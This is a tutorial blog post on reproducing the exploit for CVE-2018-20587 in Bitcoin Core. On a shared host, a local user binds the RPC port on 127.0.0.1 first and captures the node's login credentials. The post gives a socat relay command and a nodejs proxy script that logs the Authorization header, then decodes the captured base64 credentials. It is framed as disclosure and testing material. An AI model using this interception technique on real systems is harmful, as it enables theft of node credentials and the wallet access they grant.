Introduction

This tutorial will guide you through reproducing the exploit for CVE-2018-20587 to help test and ensure that you have updated your configuration for future prevention.

Background

Today, bitcoin core developer Luke Dashjr released information relating to a known bug affecting all versions of the bitcoin core client software, including the latest 0.17.1 version under CVE-2018–20587 (Common Vulnerabilities and Exposures).

I just published an advisory and full disclosure for CVE-2018–20587, affecting #Bitcoin Core (all released versions) & Knots (prior to v0.17.1) on multiuser systemshttps://t.co/dP030ZrvVA — Luke Dashjr (@LukeDashjr) February 8, 2019

This issue is isolated to a multi-user system where users who have direct access to the system might not be trusted and can obtain the RPC login details for a bitcoin node hosted on the same system.

Please note that the following information is provided for education purposes only. Here is how you can exploit and test this for yourself using nodejs. The code below assumes you have a server configured using regtest mode that creates an http server which attempts to bind itself to both the IPv6 and IP4V localhost address on port 18332.

Note :

There are many ways to achieve this including issuing a MITM (Man-in-the-middle) attacks using socat, netcat, ngrep, tcpdump etc. socat TCP4-LISTEN:18332,bind=127.0.0.1,fork,reuseaddr tcp6:[::1]:18332,fork,forever

For the purposes of this tutorial however, you can use the following script to create a proxy between the IPv4 and IPv6 addresses on the same host.

var http = require("http"); var httpProxy = require('http-proxy'); var options = {}; var proxy = httpProxy.createProxyServer(options); http.createServer(function(req, res) { proxy.web(req, res, { target: 'http://[::1]:18332' }); proxy.on('proxyReq', function(proxyReq, req, res, options) { console.log(req.rawHeaders) }); }).listen(18332,'127.0.0.1');

Note:

Packages required for executing this script include http-proxy npm install http-proxy .

You will need to run the above script before starting bitcoind to ensure that this port has been reserved and cannot be used by bitcoind .

Next, start up bitcoind and execute the following command.

gr0kchain: ~$ bitcoin-cli getblockchaininfo

By issuing this command, bitcoin-cli should attempt to query the node using the getblockchaininfo method, which in return proxies the request via IP4V (our nodejs proxy) at 127.0.0.1:18332 to IPv6 at ::1:18332 where bitcoind is listening.

The output generated by the nodejs script should be as follows.

gr0kchain: ~$ node ./index.js [ 'Host', '127.0.0.1', 'Connection', 'close', 'Authorization', 'Basic Yml0Y29pbjpsb2NhbDMyMQ==', 'Content-Length', '40' ]

Decoding the authentication details is fairly simple as it uses a typical basic http authorisation header. To decode this try the following:

gr0kchain: ~$ echo "Yml0Y29pbjpsb2NhbDMyMQ==" | base64 -D bitcoin:local321

The HTTP protocols basic authentication scheme uses a base64 encoded string username/password pair separate by a colon.

Workarounds for overcoming this problem are published in the disclosure.

Conclusion

In this tutorial, we explored a method for exploiting CVE-2018–20587 on misconfigured bitcoin core clients.

Got your attention? Why not try some of our other tutorials!

Be sure to follow us on Twitter for updates.